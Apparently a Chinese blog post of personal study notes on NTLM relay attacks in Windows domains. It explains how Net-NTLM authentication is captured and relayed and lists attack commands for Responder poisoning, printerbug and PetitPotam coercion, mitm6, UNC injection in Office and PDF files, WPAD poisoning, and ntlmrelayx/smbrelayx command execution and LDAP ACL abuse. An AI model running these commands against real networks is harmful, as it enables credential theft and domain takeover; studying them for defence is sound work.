当前位置: 首页 > article >正文

NTLM Relay攻击原理 + 工具使用

前言

仅仅是记录自己看《域内攻防指南》的体会&&理解,具体的知识学习建议看windows protocol


(✨)

✅:NTLM是不依赖于上层协议的!!!NTLM起到的就是认证,只认证Client的身份,不认证具体哪个协议对应的服务(SMB、LDAP……)。因为下层协议不care上层协议!!!计网封装的概念。

所以只要能中间人转发challenge+拿到client算的response,就能进行任意协议的封装!(只要上层协议(SMB、LDAP……)不开启签名,即不再次验证Client(NTLM那儿是第一次验证)即可)


0x01 NTLM Relay攻击原理

  1. 中间人攻击;
  2. NTLM是底层协议,内嵌于SMB,LDAP,HTTP等上层协议。

也就是我们在Client和Server之间,窃取Net-NTLM的typ3中的Net-NTLM Hash,然后relay到其它服务机器的其它协议。


看Client响应服务端的challenge的type3 response的wireshark包:

在这里插入图片描述

像Responder这些工具,能够拿到这个带有response的包后,算出Net-NTLM Hash
How?
这个有对应计算方法的:

https://daiker.gitbook.io/windows-protocol/ntlm-pian/4#id-0x03-net-ntlm-hash

在这里插入图片描述

这里的challenge是type2 服务器返回的challenge

HMAC-MD5对应数据包中的NTProofSt

本来之前对relay这步还有疑问:

怎么relay?
理解的核心在于封装的概念,以及对Net-NTLM本质作用(Client身份验证)的理解。
✅:NTLM是不依赖于上层协议的!!!NTLM起到的就是认证,只认证Client的身份,不认证具体哪个协议对应的服务(SMB、LDAP……)。因为下层协议不care上层协议!!!计网封装的概念。

所以只要能中间人转发challenge+拿到client算的response,就能进行任意协议的封装!(只要上层协议(SMB、LDAP……)不开启签名,即不再次验证Client(NTLM那儿是第一次验证)即可)
而开启签名就是认证了这个协议(比如SMB、LDAP)确实是由Client发起的。


所以NTLM Relay分为两步:

  1. 拿到Net-NTLM Hash(如何触发请求?如何捕获?)
  2. relay(如何relay?relay到哪儿?有无限制(签名)?)

0x02 捕获Net-NTLM Hash

如何捕获?

用神器 Responder.py

./Responder.py -i 中间人IP -wrfv

诱导Net-NTLM请求

1. LLMNR && NBNS

原理

域名解析投毒。

Windows系统名称解析顺序:

  1. 本地hosts文件
  2. DNS缓存/DNS服务器
  3. LLMNR && NBNS协议

LLMNR是多播,NBNS是广播,就给了中间人攻击的可乘之机。

触发方式

Clinet访问一个不存在的域名即可。

比如

\\nonexist

2. 打印机漏洞

原理

简单说说这个MS不修的"bug"。

Windows的打印机服务有一个特性:

任何经过身份认证的域成员,都可以连接任意一台远程服务器的打印服务spoolsv.exe,并请求一个新的打印作业进行更新,这种请求会让目标服务器将通知发送给指定的目标,然后目标服务器会立即测试该连接,也就是向指定目标进行身份认证。可以是Kerberos认证,也可以是NTLM认证。

所以我们就可以用打印机漏洞"强制"目标主机向我们的攻击机测试连接,从而拿到Net-NTLM Hash。

触发方式

printerbug.py:

python3 printerbug.py INTRANET/用户名:密码@目标服务器IP 攻击机IP

这个用户应该只要是拿到账密的域用户就行。

3. PetitPotam

当时弄非约束委派的打印机漏洞触发就换的是这个。(因为SpoolSample基于NET3.5,好多机子不一定有对应环Frame)

大概记一下原理:

原理

这个漏洞利用的是微软加密文件系统远程协议(MS-EFSRPC)的漏洞。

利用PetitPotam,可以通过连接到LSAPRC轻质触发目标机器向指定远程服务器发送Net-NTLM Hash(应该就是触发NTLM认证)。

由于这个洞是2021年的,应该很多版本都能打(虽然原版打印机漏洞更离谱,修都不修2333。。)

触发方式

用 Petitpotam.py:

python3 Petitpotam.py -d intranet.com -u win2008 -p 1q2w3eQWE 攻击机IP 目标机器IP

4. 图标

(最初学的时候真的被秀到了 orz。)

简单来说,图标中能用UNC路径远程访问/加载的都行。

  • desktop.ini
  • .scf后缀文件:包含IconFile属性,explorer.exe会尝试加载UNC
  • ……

这个具体的可以看gitbook那篇,详细这里就不记录了。

5. 浏览器

同样的,支持UNC路径。

而且可以在HTML中嵌入标签,带UNC路径的跳转之类的。

(后面提到的WPAD投毒,劫持HTTP流量后就是这么触发NTLM请求的)

6. Outlook

微软的邮件服务Outlook支持发送HTML格式的邮件。

用户不用打开邮件,Outlook客户端就会自动向指定的UNC路径发起NTLM认证。

7. 系统命令

一大堆window的cmd也可以访问UNC路径。

8. Office

经典微软三件套,
xxx.docx\word\_rels目录的document.xml.rels文件:
可以把插入图片的

Target="media/image1.png"

改为:

Target="\\IP\1.jpg" TargetMode="External"

9. PDF

PDF可以添加请求远程SMB服务器文件的功能。

3gstudent的WorsePDF脚本,

python2 WorsePDF.py test.pdf Attacker-IP

10. WPAD

这里介绍两个:最初的WPAD投毒 以及DHCPv6绕过MS16-077补丁的方式。

WPAD:Web代理自动发现协议。

这里有必要将这个协议具体写一下:

WPAD是用来查找PAC(Proxy Auto-Config)文件的协议。协议的功能是通过DHCP,DNS,LLMNR,NBNS等查找局域网中存放PAC文件的主机,然后通过主机的PAC文件指定代理服务器来访问互联网。

浏览器查询PAC文件的顺序:

  1. DHCP服务器
  2. 查询WPAD主机IP:(域名解析)
    • 本地HOST
    • DNS缓存/DNS服务器
    • LLMRN,NBNS

PAC文件的格式:(这个也需要知道,后面二次投毒要用)

function FindProxyForUrl(url,host){
    if(url=="http://www.baidu.com") return 'DIRECT';
    if(host=="pixiv.com") return "SOCKS 127.0.0.1:7070";
    if(dnsResolve(host)=="10.0.0.100") return "PROXY 127.0.0.1:8006;DIRECT";
    return "DIRECT";
}

利用核心点:WPAD的发现/寻找/查询也是广播。。。(本质就是域名解析LLMNR&&NBNS投毒那一套)

(但这有个伏笔,第一步有一个DHCP的过程)

WPAD投毒

利用流程

直接一个Responder就能搞定了:

./Responder.py -I eth0 -rPvw

WPAD投毒流程:(✨)

  1. 用户访问网页,会首先查询PAC文件的位置,查询的地址是WPAD/wpad.dat。如果本地hosts和DNS都找不到,就会使用NBNS协议发广播包,询问WPAD对应的IP。

  2. 攻击者用Responder投毒,响应NBNS请求,将WPAD的IP指向Responder自身所在的IP。(顺带伪造wpad.dat,内容后续步骤会说)

  3. 客户端请求WPAD/wpad.dat

  4. 攻击者伪造了wpad.dat(具体的可以抓包看HTTP GET请求)

    核心就是把PROXY的域名改成一个解析不了的(hosts和DNS解析不了)

    比如ProxySrv

  5. 客户解析不了ProxySrv的IP,又发起LLMNR广播协议查询

  6. Responder二次投毒,将ProxySrv也指向Responder自身的IP。

  7. 前面步骤后,Attacker就可以代理客户的所有HTTP流量了,只需要在HTTP流量中加入HTML请求,访问UNC路径,触发NTLM即可。甚至还可以打web端,拿cookie,钓鱼、诱导下载shell之类的。

MS16-077后的DHCPv6绕过

微软的补丁限制了两个点:

  1. 系统再也无法用广播协议来解析WPAD文件的位置,只能用DHCP或DNS协议。
  2. 更改了PAC文件的下载默认行为,当发起HTTP GET请求wpad.dat文件时,不会自动发送客户端凭据来响应NTLM协商身份验证质询。

可以看出来,第二个限制p用没有。。。本来我们就是劫持HTTP流量后再触发的NTLM 2333。。。

关键是怎么绕过第一个呢?

核心都是要找能广播/多播的中间人攻击,那么思路就来了:

IPv6的DHCPv6就是多播/组播(不分了:( )!

windows vista之后的所有机子都支持Ipv6,且优先级高于Ipv4。默认情况下,Windows系统的机子在开机、配置网络时会使用DHCPv6协议向组播地址[ff02::1:2]发起请求。

那么Attacker就可以投毒,代替DHCP服务器为Client分配IP和DNS服务器。

那么IP分配在Attacker的网段,DNS服务器设为Attacker本身,后续利用就轻而易举了。(DNS服务器都有了,域名解析随便改。)

利用流程

有一个 mitm6

sudo mitm6 -i eth0 -d intranet.com

这样当目标机器重启 or 重配置网络的时候就能投毒了。

0x03 Net-NTLM Relay(How? To whom?)

1. relay to SMB

中继到SMB服务是最简单直接的方法,可以控制服务器执行任意命令

Reflect(工作组)

工作组环境没办法relay到其它机子,因为之间没有信任关系,也验证不了身份(没有DC,密码都是存在本地的SAM文件)。

那么最直接的方式就是拿到Client的Net-NTLM Hash后relay到Client,也就是reflect。

微软MS08-068针对此弄了个补丁,弄了个(challenge,CIFS/B)的缓存,使得直接的reflect失效,

绕过

但这个缓存时限是300s。:)

CVE-2019-1384 Ghost Potato就是对应的绕过。(为什么隔了11年才发现呢🤔)

relay(域环境)

一般来说,域环境中,普通域用户可以relay SMB到域控外的所有机器。

因为默认只有域控是开启SMB签名的。

工具使用

工具都是监听后relay,第一步都需要对应的触发(用前面说的那么多种触发NTLM请求的方式)

impacket - smbrelayx.py
python3 smbrelayx.py -h 目标机器(relay2的目标) -c whoami
impacket - ntlmrelayx.py
python3 ntlmrelayx.py -t smb://目标IP -c whoami -smb2support
Responder - MultiRelay.py
./MultiRelay.py -t 目标IP -u ALL

relay2HTTP

典型的就是Exchange的EWS接口,以及ADCS的证书注册接口。
这种relay属于进阶的relay攻击了,后面学习了ADCS这些后再来补。

relay2LDAP

这才是最常用的。因为域跟AD,LDAP密切相关!

LDAP的默认策略是协商签名,也就是说是否签名由用户端决定。那就是不签名了。

核心就是relay2LDAP后,用writedacl权限修改ACL,拿DCSync之类的高权限 or 可作后门的权限。

比如配置约束委派/RBCD的权限。

2020.1开始,所有域控的LDAP都会强制开启LDAP签名,这样就缓解(避免?)了relay2LDAP到域控上(好像本来relay2LDAP就应该打域控,不然没用。。。AD在DC上)拿高权限的危险。

总结

Interesting Intranet~


http://www.kler.cn/news/324944.html

相关文章:

  • 【SQL】累计统计方法,使用SQL详细写出
  • itc保伦股份智慧高校整体解决方案推动教育强国、科技强国、人才强国建设!
  • 【AI写代码】使用 ChatGPT 写 ila
  • [Unity Demo]从零开始制作空洞骑士Hollow Knight第十一集:制作法术系统的回血机制和火球机制
  • YOLO V8半自动标注工具设计
  • macOS 开发环境配置与应用开发
  • Selenium与数据库结合:数据爬取与存储的技术实践
  • 项目管理系统中的风险管理:如何识别和应对项目风险?
  • three.js----快速上手,如何用vue在web页面中导入 gltf/glb , fbx , obj 模型
  • JavaScript动态数据可视化
  • 微信小程序环境下的相亲交友系统源码优化
  • Java必修课——Spring框架
  • 深度学习:残差网络(ResNet)的原理及优缺点
  • OpenCV-图像透视变换
  • Web 3.0 介绍
  • Docker实践与应用举例
  • MPI程序实例:自适应数值积分
  • k8s中,pod生命周期,初始化容器,容器探针,事件处理函数,理解其设计思路及作用
  • 字段映射和数据转换为什么是数据集成的关键?
  • 数据结构:栈 及其应用
  • 汽车总线之---- LIN总线
  • 一文上手SpringSecurity【二】
  • Flink 结合kafka 实现端到端的一致性原理
  • 一文说完c++全部基础知识,IO流(二)
  • 2、Java 基础 - 面向对象基础
  • Qt 信号重载问题--使用lambda表达式--解决方法
  • 国庆节快乐|中国何以成为中国
  • 在Spring项目中使用MD5对数据库加密
  • QT中基于QMatrix4x4与QVector3D的三维坐标变换类实现
  • 理想汽车使用无仪表盘设计的原因和弊端